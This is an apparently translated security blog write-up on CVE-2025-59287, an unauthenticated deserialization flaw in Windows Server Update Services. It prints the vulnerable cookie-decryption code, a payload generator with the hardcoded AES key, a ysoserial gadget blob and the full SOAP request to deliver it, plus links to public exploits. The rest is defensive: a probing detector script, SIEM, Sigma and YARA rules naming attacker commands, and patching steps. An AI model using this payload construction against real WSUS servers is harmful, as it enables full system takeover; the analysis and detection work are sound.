If you manage Windows infrastructures, CVE-2025-59287 It should be your top priority. This insecure deserialization vulnerability in Windows Server Update Services (WSUS) allows unauthenticated attackers to gain full privileged control SYSTEM. Microsoft has released an Out-of-Band (OOB) patch following the appearance of functional PoCs.
How Does Vulnerability Work?
The ruling is a classic example of insecure deserialization. It is found in the internal process of WSUS when handling SOAP (web communication protocol) messages sent by clients.
The Attack Vector
The attack is directed at endpoint /ClientWebService/Client.asmx, specifically to the method GetCookie.
The Fake Package: The attacker crafts a malicious .NET object (code) and encrypts it. This packet is inserted into the field
<CookieData>of the SOAP request.The Code Slip: The WSUS server receives the message and decrypts it. The error is in the internal code (the function
DecryptData) that, by not recognizing the decrypted object as a type of cookie expected, passes it without strict validation to the deserialization tool:BinaryFormatter.Deserialize().Code Execution (RCE): This .NET tool, when trying to reconstruct the object, executes the malicious code embedded in the payload. The result is the Total Remote Control (RCE) with privileges SYSTEM.
Technical Vulnerability Analysis
Exploitation Mechanism
The flaw lies in the internal WSUS process when handling SOAP messages on the endpoint:
/ClientWebService/Client.asmxHaving said that, let's get to what interests us. The vulnerability resides in the processing path of certain external inputs (SOAP/HTTP requests that WSUS exposes — specifically on endpoints such as /ClientWebService/Client.asmx and routes related to SoftwareDistribution) where WSUS receives data containing serialized objects.
User Input
The user sends a SOAP request to the endpoint GetCookie. After the initial processing, the execution arrives here:
public Cookie GetCookie(AuthorizationCookie[] authCookies, Cookie oldCookie,
DateTime lastChange, DateTime currentTime, string protocolVersion)
{
if (Client.clientImplementation == null)
{
Client.CreateClientImplementation();
}
string ipaddress = this.GetIPAddress();
return Client.clientImplementation.GetCookie(authCookies, oldCookie, lastChange,
currentTime, protocolVersion, ipaddress);
}As you can see, the method is called ClientImplementation.GetCookie. This method performs several operations, such as checking if the cookie is empty and attempting to parse the protocol version. If everything works correctly, pass the data to the other method: AuthorizationManager.GetCookie.
Authorization Processing
Then proceed to the method CrackAuthorizationCookie, which checks the plugin ID provided in the SOAP request.
In UnencryptedAuthorizationCookieData and CrackAuthorizationCookie, checks if the cookie is empty and passes it to the critical method DecryptData:
DecryptData Method Vulnerable
internal object DecryptData(byte[] cookieData)
{
if (cookieData == null)
{
throw new LoggedArgumentNullException("cookieData");
}
// 1. Crear el descifrador AES-128-CBC
ICryptoTransform cryptoTransform = this.cryptoServiceProvider.CreateDecryptor();
byte[] array;
try
{
// 2. Validación básica del tamaño del bloque
if (cookieData.Length % cryptoTransform.InputBlockSize != 0 ||
cookieData.Length <= cryptoTransform.InputBlockSize)
{
throw new LoggedArgumentException("Can't decrypt bogus cookieData", "cookieData");
}
// 3. Descifrado de los datos
array = new byte[cookieData.Length - cryptoTransform.InputBlockSize];
cryptoTransform.TransformBlock(cookieData, 0, cryptoTransform.InputBlockSize,
EncryptionHelper.scratchBuffer, 0);
cryptoTransform.TransformBlock(cookieData, cryptoTransform.InputBlockSize,
cookieData.Length - cryptoTransform.InputBlockSize, array, 0);
}
finally
{
cryptoTransform.Dispose();
}
object obj = null;
// DECISIÓN CRÍTICA: Dos caminos posibles
if (this.classType == typeof(UnencryptedCookieData))
{
// Camino seguro: Deserialización controlada
UnencryptedCookieData unencryptedCookieData = new UnencryptedCookieData();
try
{
unencryptedCookieData.Deserialize(array);
}
catch (Exception ex)
{
if (ex is OutOfMemoryException) throw;
throw new LoggedArgumentException(ex.ToString(), "cookieData");
}
obj = unencryptedCookieData;
}
else
{
// CAMINO VULNERABLE: Deserialización insegura
BinaryFormatter binaryFormatter = new BinaryFormatter();
MemoryStream memoryStream = new MemoryStream(array);
try
{
// DESERIALIZACIÓN INSEGURA
obj = binaryFormatter.Deserialize(memoryStream);
}
catch (Exception ex2)
{
if (ex2 is OutOfMemoryException) throw;
throw new LoggedArgumentException(ex2.ToString(), "cookieData");
}
// VALIDACIÓN TARDÍA (demasiado tarde)
if (obj.GetType() != this.classType)
{
throw new LoggedArgumentException("Decrypted cookie has the wrong data type", "cookieData");
}
}
return obj;
}Critical Point Analysis
This method processes encrypted cookie data using the following steps:
-
Basic input validation: Check if
cookieDatais null and validates the block size alignment. -
Decoded: Uses AES-128-CBC via
cryptoServiceProvider.CreateDecryptor(). -
Block processing: Splits and transforms encrypted data into decrypted blocks.
-
Type checking: Determines whether the data is
UnencryptedCookieDataor require binary deserialization. -
Insecure deserialization: If they are not
UnencryptedCookieData, passes the decrypted bytes directly toBinaryFormatter.Deserialize(). -
Late validation: Check the type AFTER deserialization.
The fundamental problem: Between steps 4 and 6, any serialized .NET object can be instantiated and its code executed before any validation is performed.
HawkTrace Payload
The HawkTrace code generates a malicious payload that exploits this vulnerability:
static void Main()
{
// Clave AES hardcodeada en WSUS
string hexKey = "877C14E433638145AD21BD0C17393071";
byte[] key = new byte[16];
for (int i = 0; i < 16; i++)
key[i] = Convert.ToByte(hexKey.Substring(i * 2, 2), 16);
// Payload serializado de ysoserial que ejecuta "cmd /c calc"
string ysooo = "AAEAAAD/////AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAFQ291bnQIQ29tcGFyZXIHVmVyc2lvbgVJdGVtcwADAAYIjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQ... [payload completo]";
byte[] ser = Convert.FromBase64String(ysooo);
byte[] enc = EncryptPayload(ser, key);
string base64Payload = Convert.ToBase64String(enc);
Console.WriteLine(base64Payload);
}Effectively, the above code constructs a serialized object (.NET BinaryFormatter) that, once decrypted and deserialized by the vulnerable server, would execute arbitrary code via a gadget chain. In this case I would invoke Process.Start with the chain cmd /c calc safely constructed with ysoserial.
Final Exploitation
And the result would have to be added here to deliver it to the WSUS server — the element <CookieData> inside the AuthorizationCookie of the method GetCookie:
POST /ClientWebService/Client.asmx HTTP/1.1
Host: WSUS-SERVER:8530
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie"
Content-Length: 3632
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
<authCookies>
<AuthorizationCookie>
<PlugInId>SimpleTargeting</PlugInId>
<CookieData>[GENERATED PAYLOAD]</CookieData>
</AuthorizationCookie>
</authCookies>
<oldCookie xsi:nil="true" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"/>
<protocolVersion>1.20</protocolVersion>
</GetCookie>
</soap:Body>
</soap:Envelope>Exposure Validation
To verify if your server is vulnerable, we offer you two safe and professional methods.
Vulnerability Scanning
The main vulnerability management platforms have already integrated the signature of this bug.
- Instruction: Run an updated vulnerability scan with your tool of choice (Nessus, Qualys, OpenVAS, etc.) pointing to the WSUS ports (TCP 8530 either 8531).
- Search Result: If the scanner explicitly reports the CVE-2025-59287 as unmitigated, your server is compromised and you must patch immediately.
Active Connectivity Detection
This script Python performs a verification passive and it is totally harmless. It simply confirms that the WSUS server is "listening" on the endpoint vulnerable. If you are listening and it hasn't been patched, the vulnerability is real.
#!/usr/bin/env python3
"""
Detector CVE-2025-59287 - WSUS Deserialization Vulnerability
Author: Red-Orbita
Descripción: Verifica si el servidor WSUS es realmente vulnerable
"""
import requests
import base64
import sys
import urllib3
from typing import Dict, Any
# Deshabilitar advertencias SSL para testing interno
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class WSUSVulnerabilityDetector:
def __init__(self, target: str, port: int = 8530):
self.target = target
self.port = port
self.base_url = f"https://{target}:{port}"
self.endpoint = f"{self.base_url}/ClientWebService/Client.asmx"
self.session = requests.Session()
self.session.verify = False
self.timeout = 10
def build_soap_request(self, payload_data: str = "test") -> str:
"""Construye petición SOAP para el método GetCookie"""
return f'''<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<soap:Body>
<GetCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
<cookieData>{payload_data}</cookieData>
</GetCookie>
</soap:Body>
</soap:Envelope>'''
def check_service_availability(self) -> bool:
"""Verifica si el servicio WSUS está activo"""
try:
headers = {
'User-Agent': 'WSUS Client',
'Content-Type': 'text/xml; charset=utf-8'
}
response = self.session.get(
f"{self.base_url}/ClientWebService/Client.asmx",
headers=headers,
timeout=self.timeout
)
return response.status_code == 200
except Exception as e:
print(f"Error conectando al servicio: {e}")
return False
def test_vulnerability_signature(self) -> Dict[str, Any]:
"""
Testea comportamientos que indican vulnerabilidad
Envía patrones que podrían revelar la deserialización insegura
"""
results = {
'service_available': False,
'endpoint_accessible': False,
'potential_vulnerability': False,
'details': []
}
# Verificar disponibilidad básica
if not self.check_service_availability():
results['details'].append("Servicio WSUS no disponible")
return results
results['service_available'] = True
# Probar con diferentes payloads de prueba
test_payloads = [
# Payload de serialización .NET básico (inofensivo)
"AAEAAAD/////AQAAAAAAAAAEAQAAAClTeXN0ZW0uRGF0YS5EYXRhU2V0Q29udmVydGVyLCBWZXJzaW9uPTQu",
# Payload vacío
"",
# Payload con formato incorrecto
"INVALID_BASE64_DATA"
]
headers = {
'User-Agent': 'WSUS Client',
'Content-Type': 'text/xml; charset=utf-8',
'SOAPAction': 'http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie'
}
for i, payload in enumerate(test_payloads):
try:
soap_body = self.build_soap_request(payload)
response = self.session.post(
self.endpoint,
data=soap_body,
headers=headers,
timeout=self.timeout
)
# Analizar respuesta para detectar vulnerabilidad
if response.status_code == 200:
results['endpoint_accessible'] = True
# Comportamientos sospechosos:
if "Exception" in response.text or "error" in response.text.lower():
# El servidor procesó pero tuvo error - podría ser vulnerable
if i == 0: # Solo para el payload de serialización
results['potential_vulnerability'] = True
results['details'].append("Posible vulnerabilidad detectada: respuesta a payload serializado")
elif "GetCookieResult" in response.text:
results['details'].append(f"Endpoint responde correctamente al payload {i+1}")
except requests.exceptions.RequestException as e:
results['details'].append(f"Error en prueba {i+1}: {e}")
return results
def generate_report(self) -> None:
"""Genera reporte completo de evaluación"""
print(f"\nEvaluando WSUS: {self.target}:{self.port}")
print("=" * 50)
results = self.test_vulnerability_signature()
print(f"Servicio disponible: {results['service_available']}")
print(f"Endpoint accesible: {results['endpoint_accessible']}")
print(f"Vulnerabilidad potencial: {results['potential_vulnerability']}")
print("\nDetalles:")
for detail in results['details']:
print(f" • {detail}")
# Recomendaciones basadas en resultados
print("\nRecomendaciones:")
if results['potential_vulnerability']:
print("SERVIDOR POTENCIALMENTE VULNERABLE - APLICAR PARCHE INMEDIATAMENTE")
elif results['service_available']:
print("Servicio activo - Verificar versión y aplicar parches preventivos")
else:
print("Servicio no accesible - Verificar conectividad")
print("=" * 50)
def main():
if len(sys.argv) != 2:
print("Uso: python wsus_scanner.py <servidor_wsus>")
print("Ejemplo: python wsus_scanner.py wsus.midominio.local")
sys.exit(1)
target = sys.argv[1]
# Probar puertos comunes de WSUS
ports = [8530, 8531, 443]
for port in ports:
detector = WSUSVulnerabilityDetector(target, port)
detector.generate_report()
if __name__ == "__main__":
main()Poc Exploit:
- https://hawktrace.com/blog/CVE-2025-59287
- https://github.com/jiansiting/CVE-2025-59287/blob/main/cve-2025-59287-exp.py
Detection Guide (SIEM & EDR)
To identify exploitation attempts, you must look for the signature of the payload serialized on the network and abnormal execution of commands on the host.
Network Detection (SOAP Traffic)
Look for POST requests at endpoint vulnerable files containing the Base64 signature of .NET deserialization (AAEAAAD/////).
Specific Rule for Splunk (SPL)
This rule searches the logs web access (assuming the data is in the field body) POST requests directed to the exact URL and containing the signature of the payload.
index=web sourcetype=iis (uri_path="/ClientWebService/Client.asmx")
| search method="POST" AND (body="AAEAAAD/////")
| eval AlertName="WSUS RCE Attempt - CVE-2025-59287 Deserialization Signature"
| table _time, src_ip, dest_ip, uri_path, body, AlertNameSpecific Rule for Wazuh (XML)
This rule is activated if the endpoint (id="100010") and then checks for the presence of the deserialization signature in the payload (id="100011").
<rule id="100010" level="10" maxsize="4096">
<if_sid>31100</if_sid> <field name="url">/ClientWebService/Client.asmx</field>
<description>WSUS RCE Attempt (CVE-2025-59287) - Target Endpoint Hit.</description>
</rule>
<rule id="100011" level="14" maxsize="4096">
<if_sid>100010</if_sid> <match type="payload">AAEAAAD/////</match> <description>**CRÍTICA:** WSUS RCE Payload Injection Attempt (CVE-2025-59287) detected.</description>
<group>attack,rce,cve</group>
</rule>ElastciSearch Specific Rule
{
"query": {
"bool": {
"must": [
{
"wildcard": {
"url": "*ClientWebService/Client.asmx"
}
},
{
"match": {
"http.request.method": "POST"
}
},
{
"wildcard": {
"http.request.body.content": "*AAEAAAD/////*"
}
}
],
"filter": [
{
"range": {
"@timestamp": {
"gte": "now-1h"
}
}
}
]
}
}
}This format is standard and can be translated to multiple platforms (ElasticSearch, Microsoft Sentinel, etc.).
title: WSUS RCE Attempt via Deserialization (CVE-2025-59287)
id: 59287-wsus-rce-soap-injection
status: stable
description: Detects attempts to exploit the WSUS deserialization vulnerability by identifying SOAP POST requests containing the .NET BinaryFormatter payload signature in the body.
references:
- https://red-orbita.com/
author: Red-Orbita
date: 2025/10/27
logsource:
category: webserver
detection:
selection_url:
# Busca el endpoint ClientWebService/Client.asmx
url|contains: '/ClientWebService/Client.asmx'
selection_method:
# El ataque siempre usa el método POST
method: 'POST'
selection_payload:
# Firma Base64 del inicio de un objeto serializado de .NET
body|contains: 'AAEAAAD/////'
condition: all of selection_*
falsepositives:
- Highly unlikely due to the unique serialized object signature.
level: critical
tags:
- attack.rce
- cve.2025.59287
- service.wsusYARA Rule for Exploit Detection:
rule WSUS_CVE_2025_59287_Exploit {
meta:
description = "Detects CVE-2025-59287 WSUS exploit attempts"
author = "Red-Orbita SOC"
date = "2025-10-27"
severity = "CRITICAL"
strings:
$soap_endpoint = "/ClientWebService/Client.asmx" ascii
$soap_action = "GetCookie" ascii
$net_serialized = { 00 01 00 00 00 FF FF FF FF } // Header serialización .NET
condition:
all of them and filesize < 100KB
}YARA Rule for Exploit Detection:
rule EXPL_WSUS_Exploitation_Indicators_Oct25 {
meta:
description = "Detects indicators related to the exploitation of the Windows Server Update Services (WSUS) Remote Code Execution Vulnerability (CVE-2025-59287)"
author = "Florian Roth"
reference = "https://www.huntress.com/blog/exploitation-of-windows-server-update-services-remote-code-execution-vulnerability"
date = "2025-10-25"
score = 75
strings:
// Error traceback found in C:\Program Files\Update Services\Logfiles\SoftwareDistribution.log
$sl1 = "at System.Data.DataSet.DeserializeDataSetSchema(SerializationInfo info, StreamingContext context" ascii wide
$sl2 = "at System.Runtime.Serialization.ObjectManager.DoFixups()" ascii wide
$sl3 = "at System.Runtime.Serialization.ObjectManager.CompleteISerializableObject" ascii wide
$sl4 = "System.Reflection.TargetInvocationException: Exception has been thrown by the target of an invocation." ascii wide
$sl5 = "ErrorWsusService.9HmtWebServices.CheckReportingWebServiceReporting WebService WebException:System.Net.WebException: Unable to connect to the remote server" ascii wide
// Encoded PowerShell command observed in exploitation attempts
$se1 = "powershell -ec try{$r= (&{echo https://" ascii wide base64 base64wide
$se2 = ":8531; net user /domain; ipconfig " ascii wide base64 base64wide
// Commands observed in follow-up activity
$sa1 = "whoami;net user /domain" ascii wide base64 base64wide
$sa2 = "net user /domain; ipconfig /all" ascii wide base64 base64wide
condition:
all of ($sl*)
or 1 of ($se*)
or all of ($sa*)
}Host Detection (Sysmon: The Execution)
Monitor WSUS processes to detect the execution of shells or malicious binaries.
index=sysmon EventID=1
| where Image IN ("*\\cmd.exe","*\\calc.exe","*\\powershell.exe")
| where ParentImage IN ("*\\w3wp.exe","*\\WsusService.exe","*\\svchost.exe")
| stats count by Computer, Image, ParentImage, CommandLine, _timeImmediate Mitigation Action
-
Patch Right Now: Apply the patch Out-of-Band (OOB) from Microsoft for WSUS (look for the October 2025 security update). It is the only way to eliminate the root cause.
-
Extreme Segmentation: Make sure the WSUS ports (TCP 8530 and 8531) NEVER are exposed to the Internet. Restrict their access only to the organization's internal clients and servers.
-
Reinforced Monitoring: Raise the level of logging for WSUS child processes and monitor for any unusual outgoing connections on the server.
:wq!
Comments